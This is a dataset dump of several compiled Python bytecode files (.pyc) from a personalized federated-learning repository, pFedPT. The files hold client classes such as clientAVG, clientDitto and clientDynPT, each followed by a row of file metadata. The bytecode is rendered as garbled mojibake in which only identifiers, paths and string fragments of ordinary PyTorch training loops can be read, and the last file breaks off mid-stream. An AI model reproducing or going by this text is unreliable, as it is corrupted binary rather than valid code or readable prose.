zclientRep.trainc C s4 x.t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qW d S )N)Úzipr r
r ÚdataÚclone)r r Ú new_paramÚ old_paramr r r Úset_parametersL s zclientRep.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r& rE Ú
__classcell__r r )r r r s 9r ) r
Útorch.nnr Únumpyr- r# Z system.flcore.clients.clientbaser r r r r r Ú<module> s
| 2,317 | Python | .py | 32 | 71.25 | 278 | 0.427384 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,671 | clientper.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientper.cpython-39.pyc | a
f¾`c„ ã @ sL d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientPerc sB t ƒ j||||fi |¤� t ¡ | _tjj| j ¡ | j
d�| _ d S )N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© úr/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientper.pyr
s
zclientPer.__init__c
C s | ¡ }t ¡ }| j ¡ | j}| jr8tj d|d ¡}t |ƒD ]ª}t
|ƒD ]œ\}\}}t |ƒt g ƒkr~|d | j
¡|d< n | | j
¡}| | j
¡}| jr¶t dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ qLq@| jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)Úload_train_dataÚtimer
ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚtrain_time_cost)
r Ú trainloaderÚ
start_timeÚmax_local_stepsr1 ÚiÚxÚyÚoutputr r r r r! s*
zclientPer.trainc C s0 t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qd S )N)Úzipr r
ÚbaseÚdataÚclone)r r
Ú new_paramÚ old_paramr r r Úset_parameters0 s zclientPer.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r! r@ Ú
__classcell__r r r r r s r )
Úcopyr
Útorch.nnr Únumpyr$ r Úflcore.clients.clientbaser r r r r r Ú<module> s | 1,856 | Python | .py | 19 | 96.631579 | 306 | 0.469532 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,672 | clientdynpt.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientdynpt.cpython-37.pyc | B
K´ccè ã @ sT d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dd„ Z
dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientDynPTc s¬ t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ |j | _ d | _
t | j¡}t|ƒ}t |¡| _tjj| jj ¡ | j
d�| _tjj| jj ¡ | j
d�| _ |j| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚalphaÚglobal_model_vectorÚcopyÚdeepcopyÚmodel_parameter_vectorÚ
zeros_likeÚold_gradÚ generatorÚ
poptimizerÚbaseÚ plocal_steps)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsr )Ú __class__© úH/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientdynpt.pyr
s
zclientDynPT.__init__c C sÎ | ¡ }t ¡ }t | jj¡}| j | j¡ | j | j¡| _| j | j¡| _ | j
¡ x| jj ¡ D ]
}d|_
qdW x| jj ¡ D ]
}d|_
q€W x¾t| jƒD ]°}xªt|ƒD ]�\}\}}t|ƒtg ƒkrÚ|d | j¡|d< n | | j¡}| | j¡}| j�rt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ q¨W qšW | j } x | jj ¡ D ] }d|_
�qbW x | jj ¡ D ] }d|_
�q€W | j�rªtj d| d ¡} �x
t| ƒD ]ş}xöt|ƒD ]ê\}\}}t|ƒtg ƒk�rø|d | j¡|d< n | | j¡}| | j¡}| j�r2t dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
| j d k�ršt | jƒ} |
| j!d t" #| | j d¡ 7 }
|
t" $| | j¡8 }
|
¡ | j ¡ �qÄW �q¶W | j d k�rêt | jƒ %¡ } | j| j!| | j | _| j &¡ | j &¡ | _| j &¡ | _ | j'd d7 < | j'd t ¡ | 7 < t | jj¡}
d}xRt(| ¡ |
¡ ƒD ]<\}}|| }t" )|dk|t" *|¡| ¡}|t" +|¡ }�q^W | j'd d7 < | j'd t ¡ | 7 < |S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost),Úload_train_dataÚtimer r r
r ÚtoÚdevicer r Útrainr r Ú
requires_gradÚranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintr r r r
ÚnormÚdotÚdetachÚcpuÚtrain_time_costÚzipÚwherer Úsum)r Ú trainloaderÚ
start_timeÚ
old_promptÚparamr: ÚiÚxÚyÚoutputr Úmax_local_stepsÚv1Ú
new_promptÚ
diff_provalueÚ new_paramÚ old_paramÚdiff_pror# r# r$ r- " s‚
zclientDynPT.trainc C sH x0t |j ¡ | jj ¡ ƒD ]\}}|j ¡ |_qW t|ƒ ¡ ¡ | _d S )N) rB r r r
ÚdataÚcloner r? r )r r
rQ rR r# r# r$ Úset_parameterss s "zclientDynPT.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r- rV Ú
__classcell__r# r# )r" r$ r s Qr c C s dd„ | ¡ D ƒ}tj|dd�S )Nc S s g | ]}| d ¡‘qS )éÿÿÿÿ)Úview)Ú.0Úpr# r# r$ ú
<listcomp>| s z*model_parameter_vector.<locals>.<listcomp>r )Údim)r r
Úcat)r
rH r# r# r$ r { s r ) r r
Útorch.nnr Únumpyr4 r* Úflcore.clients.clientbaser r r r# r# r# r$ Ú<module> s o | 3,383 | Python | .py | 42 | 79.452381 | 336 | 0.399761 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,673 | clientavg.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientavg.cpython-38.pyc | U
”jfcª ã @ sD d dl Z d dlmZ d dlZd dlZd dlmZ G dd„ deƒZdS )é N)ÚClientc s$ e Zd Z‡ fdd„Zdd„ Z‡ ZS )Ú clientAVGc s> t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ d S )N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersZ
learning_rateÚ optimizer)ÚselfÚargsÚidZ
train_samplesZ test_samplesÚkwargs©Ú __class__© õK D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientavg.pyr
s
zclientAVG.__init__c
C sP | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}t |ƒD ]Æ}t |ƒD ]¸\}\}}t
|ƒt
g ƒkrŒ|d | j¡|d< n | | j¡}| | j¡}| jrÄt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j�rt| j|t|ƒƒ qZ| j ¡ qZqN| j ¡ | jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?Z
num_roundsÚ
total_cost)Zload_train_dataÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsZ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardZprivacyZdp_stepÚlenÚstepÚcpuZtrain_time_cost)
r Z trainloaderÚ
start_timeZmax_local_stepsr, ÚiÚxÚyÚoutputr r r r r s2
zclientAVG.train)Ú__name__Ú
__module__Ú __qualname__r r Ú
__classcell__r r r r r s r ) r
Útorch.nnr Únumpyr r Zflcore.clients.clientbaser r r r r r Ú<module> s
| 1,652 | Python | .py | 20 | 81.45 | 306 | 0.461727 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,674 | clientdyn.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientdyn.cpython-39.pyc | a
W¢bc‘ ã @ sT d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dd„ Z
dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientDync sp t ƒ j||||fi |¤� t ¡ | _tjj| j ¡ | j
d�| _ |j | _ d | _
t | j¡}t|ƒ}t |¡| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚalphaÚglobal_model_vectorÚcopyÚdeepcopyÚmodel_parameter_vectorÚ
zeros_likeÚold_grad)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsr ©Ú __class__© úr/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientdyn.pyr s
zclientDyn.__init__c C s® | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}t |ƒD ]ò}t |ƒD ]ä\}\}}t
|ƒt
g ƒkrŒ|d | j¡|d< n | | j¡}| | j¡}| jrÄt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | jd k�r,t| jƒ}
| | jd t |
| j d¡ 7 } | t |
| j¡8 } | ¡ | j ¡ qZqN| jd k�rtt| jƒ ¡ }
| j| j|
| j | _| j ¡ | j d d7 < | j d t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr r r r r
ÚnormÚdotr ÚbackwardÚstepÚdetachÚcpuÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚmax_local_stepsr: ÚiÚxÚyÚoutputr Úv1r r r! r* s<
zclientDyn.trainc C s@ t | ¡ | j ¡ ƒD ]\}}|j ¡ |_qt|ƒ ¡ ¡ | _d S )N)Úzipr r
ÚdataÚcloner r; r )r r
Ú new_paramÚ old_paramr r r! Úset_parametersL s zclientDyn.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r* rK Ú
__classcell__r r r r! r
s .r c C s dd„ | ¡ D ƒ}tj|dd�S )Nc S s g | ]}| d ¡‘qS )éÿÿÿÿ)Úview)Ú.0Úpr r r! Ú
<listcomp>T ó z*model_parameter_vector.<locals>.<listcomp>r )Údim)r r
Úcat)r
Úparamr r r! r S s r ) r r
Útorch.nnr Únumpyr- r' Úflcore.clients.clientbaser r r r r r r! Ú<module> s I | 2,567 | Python | .py | 28 | 90.571429 | 281 | 0.43937 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,675 | clientreppt.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientreppt.cpython-39.pyc | a
W¢bcû ã @ sD d dl Z d dlmZ d dlZd dlZd dlmZ G dd„ deƒZdS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientREPPTc sh t ƒ j||||fi |¤� t ¡ | _tjj| jj
¡ | j d�| _ tjj| jj
¡ | j d�| _|j| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ generatorÚ
parametersÚ
learning_rateÚ
poptimizerÚbaseÚ optimizerÚ plocal_steps)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© út/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientreppt.pyr s
zclientREPPT.__init__c C sŠ | ¡ }t ¡ }| j | j¡ | j ¡ | jj ¡ D ]
}d|_q4| jj ¡ D ]
}d|_qL| jj
¡ D ]
}d|_qdt | j ƒD ]ª}t
|ƒD ]œ\}\}}t|ƒtg ƒkr¸|d | j¡|d< n | | j¡}| | j¡}| jrğt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ q†qz| j}
| j�rFtj d|
d ¡}
| jj ¡ D ] }d|_�qR| jj ¡ D ] }d|_�ql| jj
¡ D ] }d|_�q†t |
ƒD ]²}t
|ƒD ]¢\}\}}t|ƒtg ƒk�rÜ|d | j¡|d< n | | j¡}| | j¡}| j�rt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ �q¨�qœ| j ¡ | j d d7 < | j d t ¡ | 7 < d S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainr r Ú
requires_gradr Ú predictorÚranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintr ÚcpuÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚparamr5 ÚiÚxÚyÚoutputr Úmax_local_stepsr r r r' s`
zclientREPPT.trainc C s0 t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qd S )N)Úzipr r
r ÚdataÚclone)r r Ú new_paramÚ old_paramr r r Úset_parametersT s zclientREPPT.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r' rG Ú
__classcell__r r r r r s
>r ) r
Útorch.nnr Únumpyr/ r$ Ú system.flcore.clients.clientbaser r r r r r Ú<module> s
| 2,426 | Python | .py | 34 | 70.117647 | 296 | 0.430004 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,676 | clientpFedMe.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientpFedMe.cpython-37.pyc | B
pûecö ã @ sX d dl Zd dlZd dlZd dlZd dlmZ d dlmZ d dl m
Z
G dd„ de
ƒZ dS )é N)ÚpFedMeOptimizer)ÚClientc s4 e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Z‡ ZS ) Ú clientpFedMec s‚ t ƒ j||||f|� |j| _|j| _|j| _t t| j
¡ ƒ¡| _ t t| j
¡ ƒ¡| _ t
¡ | _t| j
¡ | j| jd�| _d S )N)ÚlrÚlamda)ÚsuperÚ__init__r ÚKZp_learning_rateZpersonalized_learning_rateÚcopyÚdeepcopyÚlistÚmodelÚ
parametersÚ local_paramsÚpersonalized_paramsÚnnÚCrossEntropyLossÚlossr Ú optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs)Ú __class__© úI/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientpFedMe.pyr s
zclientpFedMe.__init__c C s´ | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}�x t |ƒD �]}�x
|D �] \}}t |ƒt g ƒkr�|d | j¡|d< n | | j¡}| | j¡}| jrÈt
dt tj ¡ ¡ ¡ xNt | jƒD ]@}| j ¡ | |¡}| ||¡} | ¡ | j | j| j¡| _qÔW xHt| j| jƒD ]6\}
} | | j¡} | j| j| j | j|
j | _�q(W q`W qRW | j ¡ | | j| j¡ | j d d7 < | j d t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandr r Ú zero_gradr ÚbackwardÚstepr r ÚzipÚdatar Ú
learning_rateÚcpuÚupdate_parametersÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚmax_local_stepsr3 ÚxÚyÚiÚoutputr Ú new_paramZ localweightr r r r& s8
.
zclientpFedMe.trainc C sD x>t | ¡ | j ¡ | jƒD ]"\}}}|j ¡ |_|j ¡ |_qW d S )N)r4 r r
r r5 Úclone)r r
rA Ú old_paramZ local_paramr r r Úset_parametersE s $ zclientpFedMe.set_parametersc C sæ | ¡ }| | j| j¡ | j | j¡ | j ¡ d}d}t ¡ �� x†|D ]~\}}t |ƒt g ƒkrv|d | j¡|d< n | | j¡}| | j¡}| |¡}|t
tj |dd�|k¡ ¡ 7 }||j
d 7 }qHW W d Q R X | j ¡ ||fS )Nr r )Údim)Úload_test_datar8 r
r r$ r% ÚevalÚtorchÚno_gradr- ÚsumÚargmaxÚitemÚshaper7 )r ÚtestloaderfullÚtest_accÚtest_numr= r> r@ r r r Útest_metrics_personalizedJ s"
z&clientpFedMe.test_metrics_personalized)Ú__name__Ú
__module__Ú __qualname__r r& rD rQ Ú
__classcell__r r )r r r
s +r ) Únumpyr) r# r
rH Útorch.nnr Z flcore.optimizers.fedoptimizerr Úflcore.clients.clientbaser r r r r r Ú<module> s | 2,893 | Python | .py | 30 | 95.1 | 455 | 0.447975 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,677 | clientditto.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientditto.cpython-38.pyc | U
”jfcñ ã @ s‚ d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dl m
Z
d dl m m Z
d dlmZ d dlmZ G dd„ de
ƒZdS )é N)ÚPerturbedGradientDescent)ÚClient)Úlabel_binarize)Úmetricsc s4 e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Z‡ ZS ) Ú clientDittoc sv t ƒ j||||f|� |j| _|j| _t | j¡| _t ¡ | _
t j j
| j ¡ | jd�| _t| j ¡ | j| jd�| _d S )N)Úlr)r Úmu)ÚsuperÚ__init__r Ú plocal_stepsÚcopyÚdeepcopyÚmodelÚpmodelÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚ
parametersÚ
learning_rateÚ optimizerr Ú
poptimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õM D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientditto.pyr
s
ÿzclientDitto.__init__c
C sP | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}t |ƒD ]Æ}t |ƒD ]¸\}\}}t
|ƒt
g ƒkrŒ|d | j¡|d< n | | j¡}| | j¡}| jrÄt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j�rt| j|t|ƒƒ qZ| j ¡ qZqN| j ¡ | jd d7 < | jd t ¡ | 7 < d S )Né é r çš™™™™™¹?Ú
num_roundsÚ
total_cost)Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚprivacyÚdp_stepÚlenÚstepÚcpuÚtrain_time_cost)
r Ú trainloaderÚ
start_timeÚmax_local_stepsr> ÚiÚxÚyÚoutputr r" r" r# r- ! s2
zclientDitto.trainc C s& | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}t |ƒD ]®}|D ]¤\}}t |ƒt g ƒkr„|d | j¡|d< n | | j¡}| | j¡}| jr¼t
dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡}| ¡ | j | j ¡ | j¡ qVqN| j ¡ | jd t ¡ | 7 < d S )Nr$ r% r r& r( )r) r* r r+ r, r- r r/ r0 r1 r2 r3 r5 r6 r7 r8 r r9 r r: r> r r r? r@ ) r rA rB rC r> rE rF rG r r" r" r# ÚptrainI s,
zclientDitto.ptrainc
C sJ | ¡ }| j | j¡ | j ¡ d}d}g }g }t ¡ �Ì |D ]À\}}t|ƒtg ƒkrl|d | j¡|d< n | | j¡}| | j¡}| |¡}|t tj |dd�|k¡
¡ 7 }||j d 7 }| t
|¡ ¡ ¡ ¡ ¡ | t| ¡ ¡ ¡ t | j¡d�¡ q>W 5 Q R X | j ¡ tj|dd�}tj|dd�}tj||dd�} ||| fS )Nr r$ )Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datar r+ r, Úevalr Úno_gradr5 ÚsumÚargmaxÚitemÚshapeÚappendÚFÚsoftmaxÚdetachr? Únumpyr r0 ÚarangeÚ num_classesÚ concatenater Ú
roc_auc_score)
r ÚtestloaderfullÚtest_accÚtest_numÚy_probÚy_truerE rF rG Úaucr" r" r# Ú test_metricsh s.
2
zclientDitto.test_metrics)Ú__name__Ú
__module__Ú __qualname__r
r- rH rd Ú
__classcell__r" r" r r# r s ( r )r rY r0 r* r Útorch.nnr Ú flcore.optimizers.fedoptimizerr Úflcore.clients.clientbaser Útorch.nn.functionalÚ
functionalrV Úsklearn.preprocessingr Úsklearnr r r" r" r" r# Ú<module> s | 3,498 | Python | .py | 36 | 96 | 478 | 0.421311 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,678 | clientpt.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientpt.cpython-39.pyc | a
W¢bc5 ã @ sD d dl Z d dlmZ d dlZd dlZd dlmZ G dd„ deƒZdS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )ÚclientPTc sh t ƒ j||||fi |¤� t ¡ | _tjj| jj
¡ | j d�| _ tjj| jj
¡ | j d�| _|j| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ generatorÚ
parametersÚ
learning_rateÚ
poptimizerÚbaseÚ optimizerÚ plocal_steps)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© úq/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientpt.pyr s
zclientPT.__init__c C sX | ¡ }t ¡ }| j | j¡ | j ¡ | jj ¡ D ]
}d|_q4| jj ¡ D ]
}d|_qLt
| j ƒD ]ª}t |ƒD ]œ\}\}}t
|ƒt
g ƒkr |d | j¡|d< n | | j¡}| | j¡}| jrØt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ qnqb| j}
| j�r.tj d|
d ¡}
| jj ¡ D ] }d|_�q:| jj ¡ D ] }d|_�qTt
|
ƒD ]²}t |ƒD ]¢\}\}}t
|ƒt
g ƒk�rª|d | j¡|d< n | | j¡}| | j¡}| j�rät dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ �qv�qj| j ¡ | j d d7 < | j d t ¡ | 7 < d S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainr r Ú
requires_gradr Úranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintr ÚcpuÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚparamr4 ÚiÚxÚyÚoutputr Úmax_local_stepsr r r r' sX
zclientPT.trainc C s0 t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qd S )N)Úzipr r
r ÚdataÚclone)r r Ú new_paramÚ old_paramr r r Úset_parametersP s zclientPT.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r' rF Ú
__classcell__r r r r r s
:r ) r
Útorch.nnr Únumpyr. r$ Ú system.flcore.clients.clientbaser r r r r r Ú<module> s
| 2,342 | Python | .py | 32 | 72 | 293 | 0.43055 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,679 | clientbabu.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbabu.cpython-38.pyc | U
”jfcù
ã @ sL d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dS )é N)ÚClientc s< e Zd Z‡ fdd„Zdd„ Zdd„ Zddgfd d
„Z‡ ZS ) Ú
clientBABUc s` t ƒ j||||f|Ž t ¡ | _tjj| jj
¡ | j d�| _ |j
| _
| jj
¡ D ]
}d|_qPd S )N)ÚlrF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ
parametersÚ
learning_rateÚ optimizerÚfine_tuning_stepsÚ predictorÚ
requires_grad)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsÚparam©Ú __class__© õL D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientbabu.pyr
s
zclientBABU.__init__c
C s4 | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}t |ƒD ]ª}t |ƒD ]œ\}\}}t
|ƒt
g ƒkrŒ|d | j¡|d< n | | j¡}| | j¡}| jrÄt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ qZqN| j ¡ | jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚcpuÚtrain_time_cost)
r Ú trainloaderÚ
start_timeÚmax_local_stepsr6 ÚiÚxÚyÚoutputr r r r r( s.
zclientBABU.trainc C s0 t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qd S )N)Úzipr r
r ÚdataÚclone)r r Ú new_paramÚ old_paramr r r Úset_parameters6 s zclientBABU.set_parametersr r c
C s | ¡ }| j | j¡ | j ¡ d|kr@| jj ¡ D ]
}d|_q4d|kr`| jj ¡ D ]
}d|_qTt| j ƒD ]Š}t
|ƒD ]|\}\}}t |ƒt g ƒkr¨|d | j¡|d< n | | j¡}| | j¡}| j
¡ | |¡}| ||¡} | ¡ | j ¡ qvqj| j ¡ d S )Nr Tr Fr )r$ r
r& r' r( r r r r. r r/ r0 r r4 r r5 r6 r7 )
r Z which_moduler9 r r6 r< r= r> r? r r r r Ú fine_tune: s*
zclientBABU.fine_tune)Ú__name__Ú
__module__Ú __qualname__r r( rE rF Ú
__classcell__r r r r r s r )
Úcopyr
Útorch.nnr Únumpyr+ r% Úflcore.clients.clientbaser r r r r r Ú<module> s | 2,547 | Python | .py | 33 | 76 | 278 | 0.417097 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,680 | clientdynpt.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientdynpt.cpython-39.pyc | a
W¢bc¢ ã @ sT d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dd„ Z
dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientDynPTc s° t ƒ j||||fi |¤� t ¡ | _tjj| j ¡ | j
d�| _ |j | _ d | _
t | j¡}t|ƒ}t |¡| _tjj| jj ¡ | j
d�| _tjj| jj ¡ | j
d�| _ |j| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚalphaÚglobal_model_vectorÚcopyÚdeepcopyÚmodel_parameter_vectorÚ
zeros_likeÚold_gradÚ generatorÚ
poptimizerÚbaseÚ plocal_steps)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsr ©Ú __class__© út/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientdynpt.pyr
s
zclientDynPT.__init__c C sÒ | ¡ }t ¡ }| j | j¡ | j ¡ | jj ¡ D ]
}d|_q4| jj ¡ D ]
}d|_qLt
| j ƒD ]ª}t |ƒD ]œ\}\}}t
|ƒt
g ƒkr |d | j¡|d< n | | j¡}| | j¡}| jrØt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ qnqb| j}
| jj ¡ D ] }d|_�q | jj ¡ D ] }d|_�q:| j�rbtj d|
d ¡}
t
|
ƒD ]ú}t |ƒD ]ê\}\}}t
|ƒt
g ƒk�rª|d | j¡|d< n | | j¡}| | j¡}| j�rät dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | j d k�rLt | jƒ} | | j d t | | j d¡ 7 } | t !| | j"¡8 } | ¡ | j ¡ �qv�qj| j d k�r˜t | jƒ #¡ } | j"| j | | j | _"| j $¡ | j%d d7 < | j%d t ¡ | 7 < d S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost)&Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainr r Ú
